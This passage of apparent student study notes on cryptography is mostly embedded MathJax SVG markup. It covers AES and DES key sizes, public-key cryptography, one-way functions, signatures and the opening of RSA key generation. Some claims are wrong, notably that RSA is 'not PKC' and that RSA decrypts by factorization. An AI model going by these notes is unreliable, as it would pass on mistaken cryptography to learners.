xlink:href="#E64-MJMAIN-38" x="1000" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-64">128</script> bit AES key) <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-65-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="4.197ex" height="2.45ex" viewBox="0 -942.4 1807.1 1055" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E65-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E65-MJMAIN-30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path><path stroke-width="0" id="E65-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E65-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E65-MJMAIN-30" x="500" y="0"></use><g transform="translate(1000,392)"><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E65-MJMAIN-32"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E65-MJMAIN-31" x="500" y="0"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-65">10^{21}</script> times more keys than DES <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-66-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="2.323ex" height="2.065ex" viewBox="0 -776.4 1000 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E66-MJMAIN-35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z"></path><path stroke-width="0" id="E66-MJMAIN-36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E66-MJMAIN-35"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E66-MJMAIN-36" x="500" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-66">56</script> bit key.</p></blockquote></li><li><p>Define the concept of “Asymmetric (public) key cryptography”</p><blockquote><p>Asymmetric Public Key Cryptography (<strong>PKC</strong>) is a cryptosystem where:</p><ul><li><p>Each user have <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-67-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.161ex" height="1.936ex" viewBox="0 -776.4 500 833.8" role="img" focusable="false" style="vertical-align: -0.133ex;"><defs><path stroke-width="0" id="E67-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E67-MJMAIN-32" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-67">2</script> keys, a <strong>private key</strong> and a <strong>public key</strong>.</p></li><li><p>It's based on <strong>One Way Functions</strong>:</p><ul><li><p>Multiplication is <strong>easy to compute</strong>, Factorization is <strong>hard to compute</strong>:</p><p>Multiplication: <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-92-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="12.904ex" height="2.065ex" viewBox="0 -776.4 5556 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E92-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E92-MJMAIN-33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path stroke-width="0" id="E92-MJMAIN-22C5" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250Z"></path><path stroke-width="0" id="E92-MJMAIN-37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path><path stroke-width="0" id="E92-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path stroke-width="0" id="E92-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-33" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-22C5" x="1222" y="0"></use><g transform="translate(1722,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-37" x="500" y="0"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-3D" x="3000" y="0"></use><g transform="translate(4056,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-32"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-31" x="1000" y="0"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-92">13\cdot 17 = 221</script></p><p>Factorization: <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-93-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="8.774ex" height="1.936ex" viewBox="0 -776.4 3777.8 833.8" role="img" focusable="false" style="vertical-align: -0.133ex;"><defs><path stroke-width="0" id="E93-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path stroke-width="0" id="E93-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E93-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path stroke-width="0" id="E93-MJMAIN-3F" d="M226 668Q190 668 162 656T124 632L114 621Q116 621 119 620T130 616T145 607T157 591T162 567Q162 544 147 529T109 514T71 528T55 566Q55 625 100 661T199 704Q201 704 210 704T224 705H228Q281 705 320 692T378 656T407 612T416 567Q416 503 361 462Q267 395 247 303Q242 279 242 241V224Q242 205 239 202T222 198T205 201T202 218V249Q204 320 220 371T255 445T292 491T315 537Q317 546 317 574V587Q317 604 315 615T304 640T277 661T226 668ZM162 61Q162 89 180 105T224 121Q247 119 264 104T281 61Q281 31 264 16T222 1Q197 1 180 16T162 61Z"></path><path stroke-width="0" id="E93-MJMAIN-22C5" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-32"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-31" x="1000" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-3D" x="1777" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-3F" x="2555" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-22C5" x="3027" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-3F" x="3305" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-93">221 = ? \cdot ?</script></p></li><li><p>Exponentiation is <strong>easy to compute</strong>, Finding <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-94-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="2.968ex" height="2.45ex" viewBox="0 -776.4 1278 1055" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E94-MJMAIN-6C" d="M42 46H56Q95 46 103 60V68Q103 77 103 91T103 124T104 167T104 217T104 272T104 329Q104 366 104 407T104 482T104 542T103 586T103 603Q100 622 89 628T44 637H26V660Q26 683 28 683L38 684Q48 685 67 686T104 688Q121 689 141 690T171 693T182 694H185V379Q185 62 186 60Q190 52 198 49Q219 46 247 46H263V0H255L232 1Q209 2 183 2T145 3T107 3T57 1L34 0H26V46H42Z"></path><path stroke-width="0" id="E94-MJMAIN-6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z"></path><path stroke-width="0" id="E94-MJMAIN-67" d="M329 409Q373 453 429 453Q459 453 472 434T485 396Q485 382 476 371T449 360Q416 360 412 390Q410 404 415 411Q415 412 416 414V415Q388 412 363 393Q355 388 355 386Q355 385 359 381T368 369T379 351T388 325T392 292Q392 230 343 187T222 143Q172 143 123 171Q112 153 112 133Q112 98 138 81Q147 75 155 75T227 73Q311 72 335 67Q396 58 431 26Q470 -13 470 -72Q470 -139 392 -175Q332 -206 250 -206Q167 -206 107 -175Q29 -140 29 -75Q29 -39 50 -15T92 18L103 24Q67 55 67 108Q67 155 96 193Q52 237 52 292Q52 355 102 398T223 442Q274 442 318 416L329 409ZM299 343Q294 371 273 387T221 404Q192 404 171 388T145 343Q142 326 142 292Q142 248 149 227T179 192Q196 182 222 182Q244 182 260 189T283 207T294 227T299 242Q302 258 302 292T299 343ZM403 -75Q403 -50 389 -34T348 -11T299 -2T245 0H218Q151 0 138 -6Q118 -15 107 -34T95 -74Q95 -84 101 -97T122 -127T170 -155T250 -167Q319 -167 361 -139T403 -75Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E94-MJMAIN-6C"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E94-MJMAIN-6F" x="278" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E94-MJMAIN-67" x="778" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-94">\log</script> is <strong>hard to compute</strong>:</p><p>Exponentiation: <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-95-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="14.27ex" height="2.45ex" viewBox="0 -942.4 6144.1 1055" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E95-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path><path stroke-width="0" id="E95-MJMATHI-79" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path><path stroke-width="0" id="E95-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path stroke-width="0" id="E95-MJMAIN-35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z"></path><path stroke-width="0" id="E95-MJMAIN-33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path stroke-width="0" id="E95-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E95-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMATHI-78" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMATHI-79" x="808" y="513"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-3D" x="1301" y="0"></use><g transform="translate(2356,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-35" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-33" x="707" y="555"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-3D" x="3588" y="0"></use><g transform="translate(4644,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-35" x="1000" y="0"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-95">x^y=5^3=125</script></p><p>Log: <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-96-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="12.263ex" height="2.579ex" viewBox="0 -776.4 5279.7 1110.3" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E96-MJMAIN-6C" d="M42 46H56Q95 46 103 60V68Q103 77 103 91T103 124T104 167T104 217T104 272T104 329Q104 366 104 407T104 482T104 542T103 586T103 603Q100 622 89 628T44 637H26V660Q26 683 28 683L38 684Q48 685 67 686T104 688Q121 689 141 690T171 693T182 694H185V379Q185 62 186 60Q190 52 198 49Q219 46 247 46H263V0H255L232 1Q209 2 183 2T145 3T107 3T57 1L34 0H26V46H42Z"></path><path stroke-width="0" id="E96-MJMAIN-6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z"></path><path stroke-width="0" id="E96-MJMAIN-67" d="M329 409Q373 453 429 453Q459 453 472 434T485 396Q485 382 476 371T449 360Q416 360 412 390Q410 404 415 411Q415 412 416 414V415Q388 412 363 393Q355 388 355 386Q355 385 359 381T368 369T379 351T388 325T392 292Q392 230 343 187T222 143Q172 143 123 171Q112 153 112 133Q112 98 138 81Q147 75 155 75T227 73Q311 72 335 67Q396 58 431 26Q470 -13 470 -72Q470 -139 392 -175Q332 -206 250 -206Q167 -206 107 -175Q29 -140 29 -75Q29 -39 50 -15T92 18L103 24Q67 55 67 108Q67 155 96 193Q52 237 52 292Q52 355 102 398T223 442Q274 442 318 416L329 409ZM299 343Q294 371 273 387T221 404Q192 404 171 388T145 343Q142 326 142 292Q142 248 149 227T179 192Q196 182 222 182Q244 182 260 189T283 207T294 227T299 242Q302 258 302 292T299 343ZM403 -75Q403 -50 389 -34T348 -11T299 -2T245 0H218Q151 0 138 -6Q118 -15 107 -34T95 -74Q95 -84 101 -97T122 -127T170 -155T250 -167Q319 -167 361 -139T403 -75Z"></path><path stroke-width="0" id="E96-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path><path stroke-width="0" id="E96-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E96-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path stroke-width="0" id="E96-MJMAIN-35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z"></path><path stroke-width="0" id="E96-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 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transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-6C"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-6F" x="278" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-67" x="778" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMATHI-78" x="1807" y="-342"></use><g transform="translate(1949,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-35" x="1000" y="0"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-3D" x="3726" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMATHI-79" x="4782" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-96">\log_x125=y</script> it's harder.</p></li></ul></li><li><p>Encryption:</p><ul><li><strong>Public Key</strong> encrypt</li><li><strong>Private Key</strong> decrypt</li><li>This leads to <strong>Confidentiality </strong>and <strong>Integrity</strong> </li></ul></li><li><p>Signature and Validation:</p><ul><li><strong>Public Key</strong> decrypt</li><li><strong>Private Key</strong> encrypt</li><li>This leads to <strong>Integrity</strong>, <strong>Authenticity </strong>(if using certificate) and <strong>Non repudiation</strong> <em>(you can't say "i didn't send that").</em></li></ul></li></ul></blockquote></li><li><p>Explain the RSA technique and describe its flow</p><blockquote><p>The RSA (Rivest, Shamir, Adleman) is a technique that:</p><ul><li>Factorization to <strong>decrypt</strong>, Multiplication to <strong>encrypt</strong></li><li>is widely used in our modern days to mainta/in the <strong>CIA</strong> triad;</li><li>uses <strong>prime numbers</strong>;</li><li>uses <strong>private key</strong> and <strong>public key</strong>;</li><li>uses <strong>factorizations</strong>, uses <strong>One Way Function</strong>;</li><li>it's not PKC even if it uses Private Key and Public Key.</li></ul><p>Generate Public and Private Key:</p><ol start='' ><li>Find two primes big enough <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-73-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="9.34ex" height="2.707ex" viewBox="-39 -831.8 4021.2 1165.7" role="img" focusable="false" style="vertical-align: -0.776ex; margin-left: -0.091ex;"><defs><path stroke-width="0" id="E73-MJMATHI-70" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 